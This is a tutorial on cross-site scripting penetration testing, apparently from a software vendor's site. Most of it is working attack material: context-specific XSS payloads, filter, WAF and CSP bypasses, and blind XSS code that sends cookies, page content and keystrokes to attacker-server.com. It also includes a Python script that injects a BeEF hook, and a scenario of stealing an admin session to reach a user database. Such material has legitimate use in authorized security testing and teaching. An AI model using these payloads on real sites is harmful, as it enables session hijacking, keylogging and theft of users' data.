XSS Testing Guide â Cross-Site Scripting Penetration Testing
In this tutorial, you'll learn about XSS Testing Guide. We cover key concepts, practical examples, and best practices to help you understand and apply this topic effectively.
Cross-Site Scripting (XSS) Penetration Testing is the systematic Process of identifying and exploiting XSS vulnerabilities by injecting malicious client-side scripts into web applications to test input validation, output encoding, and content security policy enforcement.
What You'll Learn
Master XSS Penetration Testing from a practical perspective: reflected, stored, and DOM-based variants, context-aware payload crafting for HTML, JavaScript, and URL contexts, WAF and filter bypass techniques, Session Hijacking via cookie theft, and automated testing with XSStrike.
Why XSS Testing Matters
XSS remains one of the most prevalent web vulnerabilities, affecting approximately 60% of web applications in some form. Unlike server-side vulnerabilities, XSS exploits the trust a user has in a website, making it particularly dangerous for applications handling sensitive data. Durga Antivirus Pro includes XSS detection heuristics that block malicious scripts before they execute in the browser.
Real-World Use
You discover a stored XSS vulnerability in a support ticket system. The ticket subject field is rendered without sanitization on the admin dashboard. You submit a ticket with a payload that steals the admin's session cookie. When the admin views the ticket, their session token is sent to your server. You hijack the admin session and access the user database.
XSS Testing Learning Path
flowchart LR
A[Web Security] --> B[JavaScript Basics]
B --> C[XSS Fundamentals]
C --> D[XSS Pentesting Deep Dive]
D --> E[Advanced Exploitation]
D --> F[Browser Security]
D --> G{You Are Here}
style G fill:#f90,color:#fff
Prerequisites: JavaScript fundamentals, Web Security basics, and understanding of the OWASP Top 10. Comfort with browser developer tools and HTTP request inspection.
Context-Aware Payload Crafting
XSS vulnerabilities differ based on where the input is injected. The same payload does not work in every context.
HTML Context
<!-- Input is injected between HTML tags -->
<!-- Vulnerable: <div>USER_INPUT</div> -->
<!-- Test payloads -->
<div><script>alert(document.domain)</script></div>
<div><img src=x onerror=alert(1)></div>
<div><svg onload=alert(1)></div>
<div><details open ontoggle=alert(1)></div>
Expected output: The alert dialog fires with the domain name or number 1. The browser executes the injected JavaScript in the context of the target application.
Attribute Context
<!-- Input is injected inside an HTML attribute -->
<!-- Vulnerable: <input value="USER_INPUT"> -->
<!-- Test payloads -->
<input value="" autofocus onfocus="alert(1)">
<input value="" onmouseover="alert(1)">
<input value=""><script>alert(1)</script>
JavaScript Context
<!-- Input is injected inside a JavaScript string -->
<!-- Vulnerable: <script>var name = "USER_INPUT";</script> -->
<!-- Test payloads -->
<script>var name = ""; alert(1);//";</script>
<script>var name = "\"; alert(1);//";</script>
<script>var name = "</script><script>alert(1)</script>";</script>
URL Context
<!-- Input is injected inside a URL or href attribute -->
<!-- Vulnerable: <a href="USER_INPUT">Click</a> -->
<!-- Test payloads -->
<a href="javascript:alert(1)">Click</a>
<a href="<a href="/programming-languages/javascript/">JavaScript</a>:alert(document.cookie)">Click</a>
Automated XSS Detection with XSStrike
XSStrike automates XSS detection with contextual analysis, WAF bypass, and payload generation.
# Basic XSStrike scan
python3 xsstrike.py -u "https://target.com/search?q=test"
# Crawl and test all parameters
python3 xsstrike.py -u "https://target.com/search" --crawl
# POST request testing
python3 xsstrike.py -u "https://target.com/search" --data "username=test&password=test"
# Blind XSS testing with your server endpoint
python3 xsstrike.py -u "https://target.com/search?q=test" --blind
Expected output:
[~] Checking for DOM vulnerabilities
[+] WAF Status: Cloudflare detected (bypass mode available)
[~] Generating payloads...
[+] XSS found: POST /search?q=test
Payload: <IMG SRC="javascript:alert(1)">
Type: reflected
Context: script
WAF Bypass: double URL encoding
DOM-Based XSS Detection
DOM-based XSS occurs entirely in the client-side JavaScript without the server's involvement. Detection requires source code review.
// Vulnerable JavaScript patterns to look for
// Pattern 1: innerHTML with unsanitized input
function updateProfile() {
var name = new URLSearchParams(window.location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello, " + name;
}
// Pattern 2: eval with user input
function evalExpression() {
var expr = document.getElementById("calc").value;
var result = eval(expr);
document.getElementById("output").innerHTML = result;
}
// Pattern 3: location.hash assignment
function setHash() {
document.location.hash = window.location.hash.substring(1);
}
// Pattern 4: document.write
function showMessage() {
var msg = window.location.hash.substring(1);
document.write("<p>" + msg + "</p>");
}
Manually test each sink with specific payloads:
# Test innerHTML sink
curl 'https://target.com/profile?name=<img src=x onerror=alert(1)>'
# Test eval sink
curl 'https://target.com/calculator?expr=1;alert(1)'
Filter Bypass Techniques
Modern web applications and WAFs filter common XSS patterns. These bypass techniques evade filters.
# Case variation
<ScRiPt>alert(1)</ScRiPt>
# HTML entity encoding in attribute context
<img src=x onerror="alert(1)">
# Unicode escapes in JavaScript context
<script>\u0061lert(1)</script>
# Tab/newline injection within attributes
<IMG SRC="javascript:alert(1)">
# Polyglot payloads
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)><!--
# Mutation XSS (mXSS) using browser parser quirks
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
Blind XSS
Blind XSS payloads execute when an admin or another user views the stored data â often in support panels, admin dashboards, or log viewers.
// Payload that exfiltrates cookie data to an attacker server
var img = new Image();
img.src = "https://attacker-server.com/steal?cookie=" + encodeURIComponent(document.cookie);
// Payload that exfiltrates page content
var content = document.documentElement.outerHTML;
fetch("https://attacker-server.com/exfil", {
method: "POST",
body: content
});
// Payload that captures keystrokes
document.addEventListener("keydown", function(e) {
new Image().src = "https://attacker-server.com/key?char=" + e.key;
});
Expected behavior: The attacker's server receives a request containing the admin's cookies, page content, or keystrokes. The XSS is blind because the attacker never sees the victim's browser â the evidence is in the server logs.
Exploit Chaining with BeEF
The Browser Exploitation Framework (BeEF) hooks victims through XSS and enables advanced client-side attacks.
<!-- Hook payload to inject into XSS vector -->
<script src="http://attacker-server:3000/hook.js"></script>
import requests
import hashlib
def deploy_beef_hook(target_url, xss_param):
"""Inject BeEF hook via XSS vulnerability."""
hook_url = "http://192.168.1.50:3000/hook.js"
payload = f'<script src="{hook_url}"></script>'
params = {xss_param: payload}
resp = requests.get(target_url, params=params)
if resp.status_code == 200:
print(f"Hook deployed to {target_url}")
print(f"Hook source: {hook_url}")
return True
return False
# After hook deployment, the browser appears in BeEF UI
# Available modules include:
# - Cookie theft
# - Keystroke logging
# - Screenshot capture
# - Network scanning from victim's browser
# - Social engineering prompts
deploy_beef_hook("https://target.com/search", "q")
Expected output:
Hook deployed to https://target.com/search
Hook source: http://192.168.1.50:3000/hook.js
Once the victim views the page, their browser appears in the BeEF control panel with full exploitation capability.
CSP Bypass Techniques
Content Security Policy restricts which scripts can execute. Test CSP with these techniques.
<!-- CSP-allowed JSONP endpoints can execute arbitrary code -->
<!-- If google-analytics.com is in script-src, use JSONP -->
<script src="https://www.google-analytics.com/gtm/js?id=UA-XXXXX&cid=alert(1)"></script>
<!-- If a file upload endpoint is allowed, upload a .js file -->
<script src="https://target.com/uploads/evil.js"></script>
<!-- Use <base> tag to hijack relative script URLs -->
<base href="https://attacker-server.com/">
<script src="/js/app.js"></script>
<!-- Now app.js loads from attacker-server.com instead -->
<!-- Angular template injection bypass -->
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
Common XSS Testing Mistakes
1. Only testing with script tags Most WAFs block script tags. Test with img, svg, body, details, input, link, style, and iframe event handlers. Modern XSS rarely uses script tags.
2. Ignoring DOM-based XSS DOM-based XSS does not reach the server and is invisible in HTTP logs. Use browser developer tools to trace data flows from sources (URL params, hash, postMessage) to sinks (innerHTML, eval, document.write).
3. Using only alert() for confirmation Many applications block alert() but allow fetch() or Image(). Use multiple test payloads: console.log, fetch to your server, and Image() requests.
4. Forgetting to test after authentication Stored XSS often exists in profile fields, comments, and settings pages that require authentication. Test every text input field.
5. Not chaining XSS with other vulnerabilities XSS combined with CSRF bypass creates a complete attack chain. A stored XSS that modifies user settings via CSRF is more critical than a simple alert().
Practice Questions
1. What is the difference between reflected, stored, and DOM-based XSS?
Reflected XSS executes immediately from the request response and requires user interaction (clicking a crafted link). Stored XSS persists on the server and executes whenever any user views the affected page. DOM-based XSS executes entirely in the browser without server involvement, using client-side JavaScript to Process unsafe input.
2. How does Content Security Policy prevent XSS?
CSP restricts which script sources the browser can execute. With a strict CSP that blocks inline scripts and limits script-src to trusted origins, injected script tags and event handlers will not execute even if the injection point is vulnerable.
3. What makes DOM-based XSS difficult to detect with automated scanners?
DOM-based XSS does not appear in HTTP requests and responses. The vulnerability exists in client-side JavaScript code that processes data from sources like URL fragments, window.name, or postMessage events. Scanners that only analyze HTTP traffic miss these entirely.
4. Challenge: Write a BeEF hook payload that captures and exfiltrates the victim's browser fingerprint
Create an XSS payload that collects navigator.userAgent, screen resolution, installed plugins, timezone, language, and canvas fingerprint, then sends them to an attacker-controlled endpoint for browser profiling.
Real-World Task: Complete XSS Assessment
Perform a full XSS assessment against a web application:
- Map every user-controllable input across all pages
- Determine the injection context for each input (HTML, attribute, JS, URL)
- Craft context-specific payloads for each input
- Test stored XSS in all form fields
- Identify DOM-based XSS sources and sinks
- Attempt WAF bypass if blocking occurs
- Exploit a confirmed XSS via BeEF hook deployment
- Document all findings with PoC payloads and screenshots
FAQ
What's Next
Built by the developers of Doda Browser, DodaZIP, and Durga Antivirus Pro.
Built by the developers of DodaTech
Doda Browser, DodaZIP & Durga Antivirus Pro